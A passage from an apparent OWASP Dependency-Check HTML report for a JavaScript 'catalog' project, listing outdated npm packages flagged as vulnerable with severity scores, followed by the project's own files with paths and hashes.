href="#l122_e15c8e760da353fe941df7dcb523638e09abc8f2">mime:1.3.4</a></td><td data-sort-value=""></td><td data-sort-value="mime:1.3.4">mime:1.3.4</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="DEBUG:2.2.0"><a href="#l123_6f197a60e192100967a5796ed195cf99f8a44930">debug:2.2.0</a></td><td data-sort-value=""></td><td data-sort-value="debug:2.2.0">debug:2.2.0</td><td data-sort-value="37.0">Low</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="FRESH:0.3.0"><a href="#l124_654f7a903671159cdeb968874fe61c57c23b6c92">fresh:0.3.0</a></td><td data-sort-value=""></td><td data-sort-value="fresh:0.3.0">fresh:0.3.0</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="NEGOTIATOR:0.5.3"><a href="#l125_9631f3b6e122f3ef094d43911ffbce140f58298a">negotiator:0.5.3</a></td><td data-sort-value=""></td><td data-sort-value="negotiator:0.5.3">negotiator:0.5.3</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="BASE64-URL:1.2.1"><a href="#l126_96d19e3de7a284649066db131edfe9407ff562eb">base64-url:1.2.1</a></td><td data-sort-value=""></td><td data-sort-value="base64-url:1.2.1">base64-url:1.2.1</td><td data-sort-value="86.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="REQUEST:2.27.0"><a href="#l127_1b336f17a8794667e4c61b0ba23b4c6b3161f2e5">request:2.27.0</a></td><td data-sort-value=""></td><td data-sort-value="request:2.27.0">request:2.27.0</td><td data-sort-value="53.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="QS:0.6.6"><a href="#l128_10a33de58474c55ace658adbe36cdb0fb86cbf31">qs:0.6.6</a></td><td data-sort-value=""></td><td data-sort-value="qs:0.6.6">qs:0.6.6</td><td data-sort-value="75.0">High</td><td>2</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="HAWK:1.0.0"><a href="#l129_64d3029ab32af1e220f2554706b4a2830d2f1245">hawk:1.0.0</a></td><td data-sort-value=""></td><td data-sort-value="hawk:1.0.0">hawk:1.0.0</td><td data-sort-value="53.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="HOEK:0.9.1"><a href="#l130_36e5a260ff30aba895036d6a05fc8c1a07880716">hoek:0.9.1</a></td><td data-sort-value=""></td><td data-sort-value="hoek:0.9.1">hoek:0.9.1</td><td data-sort-value="40.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="TUNNEL-AGENT:0.3.0"><a href="#l131_0ac7fe3d5e2a5015ee9437bd0452b80f68efd7da">tunnel-agent:0.3.0</a></td><td data-sort-value=""></td><td data-sort-value="tunnel-agent:0.3.0">tunnel-agent:0.3.0</td><td data-sort-value="50.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="LODASH:2.4.2"><a href="#l132_650a9f9cf207a1583428ce2b6c34949abd28b1ec">lodash:2.4.2</a></td><td data-sort-value=""></td><td data-sort-value="lodash:2.4.2">lodash:2.4.2</td><td data-sort-value="20.0">Low</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="MIME:1.2.9"><a href="#l133_47cf531647422e2f977c9744d71cf4f9e80f0c19">mime:1.2.9</a></td><td data-sort-value=""></td><td data-sort-value="mime:1.2.9">mime:1.2.9</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="SUPERAGENT:0.15.1"><a href="#l134_9527b34cecd8281315a11427570312203f4e481d">superagent:0.15.1</a></td><td data-sort-value=""></td><td data-sort-value="superagent:0.15.1">superagent:0.15.1</td><td data-sort-value="37.0">Low</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="MIME:1.2.5"><a href="#l135_6e7a93cce918d0517aeb326f2d8640fc995b641c">mime:1.2.5</a></td><td data-sort-value=""></td><td data-sort-value="mime:1.2.5">mime:1.2.5</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="UGLIFY-JS:2.4.24"><a href="#l136_aa783f7e98c0a8ed5b3732e07fe76573dd70fee6">uglify-js:2.4.24</a></td><td data-sort-value=""></td><td data-sort-value="uglify-js:2.4.24">uglify-js:2.4.24</td><td data-sort-value="53.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="UGLIFY-JS:2.2.5"><a href="#l137_83941e8c5f3ffa3f70725da98fcc95956f6648ad">uglify-js:2.2.5</a></td><td data-sort-value=""></td><td data-sort-value="uglify-js:2.2.5">uglify-js:2.2.5</td><td data-sort-value="83.0">High</td><td>2</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="CONSTANTINOPLE:2.0.1"><a href="#l138_c32ce31239b959ef192a7e7e3bf7f158e11b0f78">constantinople:2.0.1</a></td><td data-sort-value=""></td><td data-sort-value="constantinople:2.0.1">constantinople:2.0.1</td><td data-sort-value="100.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="JQUERY:2.2.4"><a href="#l139_fa36352159e11c5e4bdba09073e253bf9ba37c88">jquery:2.2.4</a></td><td data-sort-value=""></td><td data-sort-value="jquery:2.2.4">jquery:2.2.4</td><td data-sort-value="72.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="MS:0.1.0"><a href="#l140_fca8634e26b5ed6ce657fb9f1e4c109334de63c5">ms:0.1.0</a></td><td data-sort-value=""></td><td data-sort-value="ms:0.1.0">ms:0.1.0</td><td data-sort-value="53.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="MINIMATCH:0.3.0"><a href="#l141_d99fad061598746d99960481245a00c2ba683de7">minimatch:0.3.0</a></td><td data-sort-value=""></td><td data-sort-value="minimatch:0.3.0">minimatch:0.3.0</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr></table><h2>Dependencies</h2> <h3 class="subsectionheader standardsubsection notvulnerable"><a name="l1_fa658aaa952a9cd0afa87b094da8bd71659a87b3"></a>webapp.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/lib/webapp.js<br/><b>MD5:</b> 0b7b173c9c2ed6518c81d1ed6f9ce42b<br/><b>SHA1:</b> fa658aaa952a9cd0afa87b094da8bd71659a87b3<br/><b>SHA256:</b>d5614398a5d6325cea35583ebfe5fcec752754347189f52db1fdcc506040e04d</p><h4 id="header1" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content1" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header2" class="subsectionheader white">Identifiers</h4><div id="content2" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l2_b052289e40946d63b79d15b7398e2468be8430b9"></a>media.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/media.js<br/><b>MD5:</b> 7d024fee32e7b31dc2f295f197937b6b<br/><b>SHA1:</b> b052289e40946d63b79d15b7398e2468be8430b9<br/><b>SHA256:</b>5a925bbdd69dd158a42c5a7478a234b50768475368744b4a5b1e3b8a08be1fdc</p><h4 id="header3" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content3" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header4" class="subsectionheader white">Identifiers</h4><div id="content4" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l3_8d16012d82cbb63021bfa973dfbbd36a8220e3ab"></a>deleteMixin.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/deleteMixin.js<br/><b>MD5:</b> 33cb8f3cf3c344be15e6d47ccfbcb705<br/><b>SHA1:</b> 8d16012d82cbb63021bfa973dfbbd36a8220e3ab<br/><b>SHA256:</b>536edac10c01187eb412637333a479af767e6114ae1d00dd2214e3c4730d3527</p><h4 id="header5" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content5" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header6" class="subsectionheader white">Identifiers</h4><div id="content6" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l4_ceb5c8239887c7e3ca6c86a8216d8996268f9ed5"></a>sourceView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/sourceView.js<br/><b>MD5:</b> 137b328df9f7c2100a9393a7c2757102<br/><b>SHA1:</b> ceb5c8239887c7e3ca6c86a8216d8996268f9ed5<br/><b>SHA256:</b>9176b8db027d6475432dba856f9d2430c0acf6e582b5c9a08affaaf0979873ca</p><h4 id="header7" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content7" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header8" class="subsectionheader expandable expandablesubsection white">Related Dependencies</h4><div id="content8" class="subsectioncontent standardsubsection hidden"><ul><li>postView.js<ul><li>File Path: /home/jonas/catalog/frontend/catalog/public/app/views/postView.js</li><li>MD5: 137b328df9f7c2100a9393a7c2757102</li><li>SHA1: ceb5c8239887c7e3ca6c86a8216d8996268f9ed5</li><li>SHA256: 9176b8db027d6475432dba856f9d2430c0acf6e582b5c9a08affaaf0979873ca</li></ul></li></ul></div><h4 id="header9" class="subsectionheader white">Identifiers</h4><div id="content9" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l5_842f04510dbc9d372774aa87068745f3f6b049a0"></a>knownProperties.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/lib/knownProperties.js<br/><b>MD5:</b> 97aadc0f1a55d866b07bef8cc0d16a88<br/><b>SHA1:</b> 842f04510dbc9d372774aa87068745f3f6b049a0<br/><b>SHA256:</b>98f1abcc9065d3895197b9f2afced0bf737922515cbce07efb0abef809e552e8</p><h4 id="header10" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content10" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header11" class="subsectionheader white">Identifiers</h4><div id="content11" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l6_9c2aa16eebaf264bc2c0adc80edf5ffde9022dd4"></a>.jshint-emacs.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/.jshint-emacs.js<br/><b>MD5:</b> 49c89982a07a97b56e4aad155e6d0bff<br/><b>SHA1:</b> 9c2aa16eebaf264bc2c0adc80edf5ffde9022dd4<br/><b>SHA256:</b>719772c8926fe465fd4e43f79488ccf34106f1161aebb94cf5dd6511d2ba54de</p><h4 id="header12" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content12" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header13" class="subsectionheader white">Identifiers</h4><div id="content13" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l7_168742d9ae629c2987bb3817eba00b563bcbb404"></a>search.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/search.js<br/><b>MD5:</b> 8d42a39e7b5a11e0ce95e26fb04f089a<br/><b>SHA1:</b> 168742d9ae629c2987bb3817eba00b563bcbb404<br/><b>SHA256:</b>90bf6cf65252cb9cbc99ef96694c7e27d09b806cc4d8ebb893f5d0a03fc0d798</p><h4 id="header14" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content14" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header15" class="subsectionheader white">Identifiers</h4><div id="content15" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l8_71f57513a9dd34defe08c83002a305029996a06c"></a>userModel.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/models/userModel.js<br/><b>MD5:</b> ec2b1beacb7838b9681c0a41804b20e8<br/><b>SHA1:</b> 71f57513a9dd34defe08c83002a305029996a06c<br/><b>SHA256:</b>105ac0305b4b2940f6272439163e55c3e45e70a6d79a011f7443046898767181</p><h4 id="header16" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content16" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header17" class="subsectionheader white">Identifiers</h4><div id="content17" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l9_17b51719f1bd47efd73aa1c0db64f7decd350318"></a>media.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/media.js<br/><b>MD5:</b> a6452928ad01189b81ec3eeb943f776a<br/><b>SHA1:</b> 17b51719f1bd47efd73aa1c0db64f7decd350318<br/><b>SHA256:</b>7ab7f5350acfd6a04604f4b843f88d1e4836b38fafad191c665c24067fe95c52</p><h4 id="header18" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content18" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header19" class="subsectionheader white">Identifiers</h4><div id="content19" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l10_a1ac937131b167b810cdfaedc81b96e730af2548"></a>test_work.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/tests/test_work.js<br/><b>MD5:</b> 99b3099e3a31f61aa82e5be2fde0d7bb<br/><b>SHA1:</b> a1ac937131b167b810cdfaedc81b96e730af2548<br/><b>SHA256:</b>f45ee142a54b31f5b0d8b5d9c387e105e03c2334feaaca42e63f5c22fd8d80d9</p><h4 id="header20" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content20" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header21" class="subsectionheader white">Identifiers</h4><div id="content21" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l11_554398770e7757dd6a26cb9df9e6b3aa8a002764"></a>webapp.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/webapp.js<br/><b>MD5:</b> d0148d52361d4c5fb7031f1d4e250229<br/><b>SHA1:</b> 554398770e7757dd6a26cb9df9e6b3aa8a002764<br/><b>SHA256:</b>52112d459a227db8f9838108881fcd1a16d252baf6e34d805e6ccdfb87a8183f</p><h4 id="header22" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content22" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header23" class="subsectionheader white">Identifiers</h4><div id="content23" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l12_1161423daed99ee94624b1502ba5be8c1cbc801c"></a>test.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/config/test.js<br/><b>MD5:</b> cdd95d102380560f5d3553bc549fe050<br/><b>SHA1:</b> 1161423daed99ee94624b1502ba5be8c1cbc801c<br/><b>SHA256:</b>f269ed31590ed00c41170f6b85676415aa89b5b249246b21d4f5d9203d82f044</p><h4 id="header24" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content24" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header25" class="subsectionheader white">Identifiers</h4><div id="content25" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l13_32a5c24324b40f62fd5bdd2acaad0af003f35269"></a>sources.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/sources.js<br/><b>MD5:</b> 9f91b1ff288799f983f596e154cb88cc<br/><b>SHA1:</b> 32a5c24324b40f62fd5bdd2acaad0af003f35269<br/><b>SHA256:</b>998abbf38c0600f191004983311ced66817af81ce28c84619b43a44cc1c49c08</p><h4 id="header26" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content26" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header27" class="subsectionheader white">Identifiers</h4><div id="content27" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l14_0274fa655d0779e7e0aab127557c392108350971"></a>workPermalink.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/workPermalink.js<br/><b>MD5:</b> db44d6788d2357e92fa9baa4d1cbd327<br/><b>SHA1:</b> 0274fa655d0779e7e0aab127557c392108350971<br/><b>SHA256:</b>2d980683d530c140d0a98d1e70fad9ecd3365caf02ef1464a48e258d19aa6183</p><h4 id="header28" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content28" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header29" class="subsectionheader white">Identifiers</h4><div id="content29" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l15_b62a1d184dd904794ff90504c43e946df65eb636"></a>create_uri_hashes.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/scripts/mongodb/create_uri_hashes.js<br/><b>MD5:</b> fea71f0d6c3fac2c425f7c5f5bbe5ac1<br/><b>SHA1:</b> b62a1d184dd904794ff90504c43e946df65eb636<br/><b>SHA256:</b>196ce65e670b931485d391837b6a18d69923a8fe0823db2bc5e5a507408ee592</p><h4 id="header30" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content30" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header31" class="subsectionheader white">Identifiers</h4><div id="content31" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l16_7a4268d6602db79c4f275ace38de47bd5d796931"></a>db.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/event/lib/db.js<br/><b>MD5:</b> bd2510b6051feabce190159c97358e4a<br/><b>SHA1:</b> 7a4268d6602db79c4f275ace38de47bd5d796931<br/><b>SHA256:</b>cfa009c47e41ce74cdf860b2b07d8f7aa4ccae77ee8f9e0ab4e46eb15ca17dd3</p><h4 id="header32" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content32" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header33" class="subsectionheader white">Identifiers</h4><div id="content33" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l17_363ed88d2d4a4ff8ff0a829e895a73341f3a6922"></a>load-db.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/scripts/load/load-db.js<br/><b>MD5:</b> e56c40e96f079f83501bc54fc64f0d62<br/><b>SHA1:</b> 363ed88d2d4a4ff8ff0a829e895a73341f3a6922<br/><b>SHA256:</b>af139ee43c3941f8735057f2bc2bc3404b7ae64d18a96d94d6618aaaac07a93f</p><h4 id="header34" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content34" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header35" class="subsectionheader white">Identifiers</h4><div id="content35" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l18_9e29ee513d12591fe9b1173e0fd570df961ecb0a"></a>search.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/search.js<br/><b>MD5:</b> 8f25ca1bdedb45268376bf1d32f217c1<br/><b>SHA1:</b> 9e29ee513d12591fe9b1173e0fd570df961ecb0a<br/><b>SHA256:</b>42ad2b22d0f6ef9cb23c36a2861c7e14b9dc6511f45e8dc41a8141a5dae7eadc</p><h4 id="header36" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content36" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header37" class="subsectionheader white">Identifiers</h4><div id="content37" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l19_35fea5e544ce28d8ad16cfce057a5833160f3233"></a>session.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/session.js<br/><b>MD5:</b> f1816c2257aa75cea50a5a2c4f65fda9<br/><b>SHA1:</b> 35fea5e544ce28d8ad16cfce057a5833160f3233<br/><b>SHA256:</b>c3ad1fdb4ac1d39661a472cef8a218658aad8fc5fc3c2c9337e70932b8b781ef</p><h4 id="header38" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content38" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header39" class="subsectionheader white">Identifiers</h4><div id="content39" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l20_a8819d09c2f78f1c276fc724b2fcece610076985"></a>load-db-direct.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/scripts/load/load-db-direct.js<br/><b>MD5:</b> 49a06c9000c4fdda46ecbb035accd46e<br/><b>SHA1:</b> a8819d09c2f78f1c276fc724b2fcece610076985<br/><b>SHA256:</b>66ff736a2aae66e3b4313f6eadeec535e84f081c0fdbb020800d26658a84a49a</p><h4 id="header40" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content40" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header41" class="subsectionheader white">Identifiers</h4><div id="content41" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l21_1365e9b672757a7fb39737cc9be3234eef377d87"></a>workCollection.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/collections/workCollection.js<br/><b>MD5:</b> bbc0c5295ca6e99446cde0a084e50026<br/><b>SHA1:</b> 1365e9b672757a7fb39737cc9be3234eef377d87<br/><b>SHA256:</b>04936f54803c6f4ca7597fb98c22190c4b9e94a31fcd8685851b3036b7757f69</p><h4 id="header42" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content42" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header43" class="subsectionheader white">Identifiers</h4><div id="content43" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l22_39318138a03fa0748d8f30c3b2d1cc3757af57fc"></a>editMixin.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/editMixin.js<br/><b>MD5:</b> b2e91956de0f6603ae5c3c47372c9ece<br/><b>SHA1:</b> 39318138a03fa0748d8f30c3b2d1cc3757af57fc<br/><b>SHA256:</b>fe7cfd866f2527209c6fdb29d0f2e4b1374d7001e4ba99ebfd824d07b58c3bb9</p><h4 id="header44" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content44" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header45" class="subsectionheader white">Identifiers</h4><div id="content45" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l23_03e8a1bfdd35bf42410b305613208b3fd6908d19"></a>util.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/lib/util.js<br/><b>MD5:</b> f55cc15290270b3cd0561b6d4723e580<br/><b>SHA1:</b> 